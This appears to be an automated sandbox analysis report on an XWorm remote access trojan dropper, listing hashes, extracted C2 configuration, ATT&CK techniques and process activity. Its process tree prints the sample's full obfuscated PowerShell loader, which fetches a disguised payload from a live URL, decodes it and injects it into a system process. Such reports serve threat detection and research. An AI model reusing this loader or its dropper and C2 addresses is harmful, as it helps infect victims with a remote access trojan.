xworm | f88df84b84e4d27953a62adfa03325b45cde22a3d8254ec21ab4c77d51d6e3bb

General

Target

E988635D9E1159BC4C77C3C9838CA0492422FES319582900779615.js
Size

163KB
MD5

00a4ba139e436facb9861b2ac35024fb
SHA1

16396955fcb4bdf72d8f67fe37ed6c17a39bb9c2
SHA256

9ae6de36be82dd3f67dab2f0406030f65e72461702ae41e097d75925f4d468ec
SHA512

8ff47d5fe6381c07947e56e82e235fc0e2f75992b94f842e716b045259ce6488a2b513748884416c79b0f90e2fd014f7959747d1b3b9e1fd0a23d58396f6ef6f
SSDEEP

1536:xyyVPkspf9s3r8MHps2DxE7EhpdH54HeI7YUnt44KnayzQ6VSYMLR5vUVtOvivcM:kyJksp9YVHVRutCzQ6V6L7uHGi

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/ducmwq0h0/image/upload/v1736949351/piwedbdcpnpjdclsccjt.jpg%20

exe.dropper

https://res.cloudinary.com/ducmwq0h0/image/upload/v1736949351/piwedbdcpnpjdclsccjt.jpg%20

Extracted

Family

xworm

Version

5.0

C2

85.31.47.24:1888

Mutex

tlRBNCeyJJLJkXVL

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/388-26-0x0000000000400000-0x0000000000410000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	4116	wscript.exe
6	4116	wscript.exe
9	4116	wscript.exe
19	2816	powershell.exe
24	2816	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2816	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2816 set thread context of 388	2816	powershell.exe	97

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regbrowsers.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2816	powershell.exe
2816	powershell.exe
388	aspnet_regbrowsers.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeDebugPrivilege	388	aspnet_regbrowsers.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
388	aspnet_regbrowsers.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4116 wrote to memory of 2816	4116	wscript.exe	83
PID 4116 wrote to memory of 2816	4116	wscript.exe	83
PID 2816 wrote to memory of 388	2816	powershell.exe	97
PID 2816 wrote to memory of 388	2816	powershell.exe	97
PID 2816 wrote to memory of 388	2816	powershell.exe	97
PID 2816 wrote to memory of 388	2816	powershell.exe	97
PID 2816 wrote to memory of 388	2816	powershell.exe	97
PID 2816 wrote to memory of 388	2816	powershell.exe	97
PID 2816 wrote to memory of 388	2816	powershell.exe	97
PID 2816 wrote to memory of 388	2816	powershell.exe	97

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\E988635D9E1159BC4C77C3C9838CA0492422FES319582900779615.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.nohcacle/selif/42.74.13.58//:p##h';$restoredText = $originalText -replace '#', 't';$zILiCNmoLWklIciuZGfk = 'https://res.cloudinary.com/ducmwq0h0/image/upload/v1736949351/piwedbdcpnpjdclsccjt.jpg ';$mijRzvAWLKPNRLipIadl = New-Object System.Net.WebClient;$zmGGgZmkKleHZWZLAxIP = $mijRzvAWLKPNRLipIadl.DownloadData($zILiCNmoLWklIciuZGfk);$nUGfacLxNohtBULdGLlR = [System.Text.Encoding]::UTF8.GetString($zmGGgZmkKleHZWZLAxIP);$iBLkelcWLJNAcnCahxNc = '<<BASE64_START>>';$cWjofLKGcALfWLTccOWP = '<<BASE64_END>>';$WWKLWZRrNKlhPsbKLqnC = $nUGfacLxNohtBULdGLlR.IndexOf($iBLkelcWLJNAcnCahxNc);$GnkLctmzoakcsGLoWcPK = $nUGfacLxNohtBULdGLlR.IndexOf($cWjofLKGcALfWLTccOWP);$WWKLWZRrNKlhPsbKLqnC -ge 0 -and $GnkLctmzoakcsGLoWcPK -gt $WWKLWZRrNKlhPsbKLqnC;$WWKLWZRrNKlhPsbKLqnC += $iBLkelcWLJNAcnCahxNc.Length;$nBAhufLcxSNPiUfiWKNz = $GnkLctmzoakcsGLoWcPK - $WWKLWZRrNKlhPsbKLqnC;$BGCKZLLRmtNGWWAHWPeG = $nUGfacLxNohtBULdGLlR.Substring($WWKLWZRrNKlhPsbKLqnC, $nBAhufLcxSNPiUfiWKNz);$afRTRKpCgUmKzkePhWcL = -join ($BGCKZLLRmtNGWWAHWPeG.ToCharArray() | ForEach-Object { $_ })[-1..-($BGCKZLLRmtNGWWAHWPeG.Length)];$GBknWaLbikALKGkGPkPG = [System.Convert]::FromBase64String($afRTRKpCgUmKzkePhWcL);$qULKLdQqtKhNgtAPUIWL = [System.Reflection.Assembly]::Load($GBknWaLbikALKGkGPkPG);$RfLnOzWRGskNogCdkLcU = [dnlib.IO.Home].GetMethod('VAI');$RfLnOzWRGskNogCdkLcU.Invoke($null, @($restoredText, 'nRiUWBKAWxPUkLbcaHoK', 'nRiUWBKAWxPUkLbcaHoK', 'nRiUWBKAWxPUkLbcaHoK', 'aspnet_regbrowsers', 'nRiUWBKAWxPUkLbcaHoK', 'nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','nRiUWBKAWxPUkLbcaHoK','1','nRiUWBKAWxPUkLbcaHoK','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d1qaq5dj.pac.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/388-26-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/388-34-0x0000000006410000-0x0000000006476000-memory.dmp

Filesize
408KB

Download
memory/388-33-0x0000000006390000-0x000000000639A000-memory.dmp

Filesize
40KB

Download
memory/388-32-0x00000000062C0000-0x0000000006352000-memory.dmp

Filesize
584KB

Download
memory/388-31-0x0000000005D10000-0x00000000062B4000-memory.dmp

Filesize
5.6MB

Download
memory/388-30-0x00000000052C0000-0x000000000535C000-memory.dmp

Filesize
624KB

Download
memory/2816-18-0x00007FFF4AAE0000-0x00007FFF4B5A1000-memory.dmp

Filesize
10.8MB

Download
memory/2816-22-0x00007FFF4AAE0000-0x00007FFF4B5A1000-memory.dmp

Filesize
10.8MB

Download
memory/2816-23-0x00007FFF4AAE0000-0x00007FFF4B5A1000-memory.dmp

Filesize
10.8MB

Download
memory/2816-24-0x000001E877940000-0x000001E877AFA000-memory.dmp

Filesize
1.7MB

Download
memory/2816-25-0x000001E834D90000-0x000001E834D9C000-memory.dmp

Filesize
48KB

Download
memory/2816-21-0x00007FFF4AAE0000-0x00007FFF4B5A1000-memory.dmp

Filesize
10.8MB

Download
memory/2816-29-0x00007FFF4AAE0000-0x00007FFF4B5A1000-memory.dmp

Filesize
10.8MB

Download
memory/2816-20-0x00007FFF4AAE3000-0x00007FFF4AAE5000-memory.dmp

Filesize
8KB

Download
memory/2816-19-0x00007FFF4AAE0000-0x00007FFF4B5A1000-memory.dmp

Filesize
10.8MB

Download
memory/2816-6-0x00007FFF4AAE3000-0x00007FFF4AAE5000-memory.dmp

Filesize
8KB

Download
memory/2816-17-0x00007FFF4AAE0000-0x00007FFF4B5A1000-memory.dmp

Filesize
10.8MB

Download
memory/2816-13-0x000001E834EE0000-0x000001E834F02000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads